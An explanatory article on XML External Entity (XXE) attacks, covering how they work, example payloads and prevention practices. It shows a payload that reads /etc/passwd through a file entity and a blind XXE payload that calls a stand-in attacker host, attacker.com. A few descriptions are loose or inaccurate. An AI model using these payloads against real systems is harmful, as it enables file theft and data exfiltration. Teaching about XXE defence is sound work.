XXE Attack: A Guide to Understanding and Prevention

XML External Entity (XXE) Attack is a type of security vulnerability that can allow attackers to steal sensitive information or execute arbitrary code. It is a relatively old attack technique, but it is still relevant today, as it can be found in many modern web applications.

In this article, we will explore what XXE attacks are, how they work, and how to prevent them.

What is XXE Attack?

XML External Entity (XXE) Attack is a type of attack that exploits the XML parser’s ability to process external entities. An XML external entity is a reference to an external XML document that is included within an XML document. The external entity can be defined within the same document or in a separate document. In XXE attacks, an attacker can use an external entity to reference sensitive files or resources on the web server.

How does XXE Attack Work?

XXE Attack works by injecting specially crafted XML input into an application that parses XML input. The attacker can then use the external entity to reference sensitive files or resources on the web server. For example, an attacker may use an external entity to reference the /etc/passwd file on a Linux server, which contains sensitive information such as usernames and hashed passwords.

An attacker may also use an external entity to perform a Denial of Service (DoS) attack by referencing an external resource that does not exist or is too large for the server to handle. This can cause the server to crash or become unresponsive.

XXE Attack Payloads

There are several payloads that an attacker can use to exploit the XXE vulnerability. Here are some examples:

• Internal Entity Declaration Payload: This payload defines an internal entity that contains sensitive data, which can then be accessed using an external entity.

    <!DOCTYPE replace [<!ENTITY example "Sensitive Data"> ]>
    <root>&example;</root>
  

• External Entity Declaration Payload: This payload defines an external entity that references a sensitive file or resource on the web server.

    <!DOCTYPE replace [<!ENTITY example SYSTEM "file:///etc/passwd"> ]>
    <root>&example;</root>
  

• Blind XXE Injection Payload: This payload does not return any output to the attacker, but it can be used to verify if the application is vulnerable to XXE attacks.

    <!DOCTYPE replace [<!ENTITY % xxe SYSTEM "http://attacker.com/xxe"> %xxe; ]>
  

Prevention of XXE Attack

The following are some best practices for preventing XXE attacks:

• Disable External Entities: Disabling external entities can prevent XXE attacks. This can be achieved by setting the "external-general-entities" and "external-parameter-entities" features of the XML parser to false.

• Input Validation: Validating user input can prevent XXE attacks. Applications should validate user input and reject any input that contains XML external entities.

• Use Whitelisting: Whitelisting can be used to allow only a specific set of XML elements and attributes to be parsed by the XML parser.

• Use XML Parsers with Built-in Protection: Using XML parsers with built-in protection against XXE attacks can prevent XXE attacks. Some examples of such parsers are Microsoft’s .NET Framework, Apache Xerces, and OWASP ESAPI.

Conclusion

In conclusion, XXE Attack is a type of security vulnerability that can allow attackers to steal sensitive information or execute arbitrary code. Developers need to understand how XXE attacks work and how to prevent them. By implementing the best practices mentioned above, developers can secure their applications against XXE attacks and protect sensitive data from being compromised.

References

• XML external entity (XXE injection)

• Security Zines XXE

• XXE Attacks: Types, Code Examples, Detection and Prevention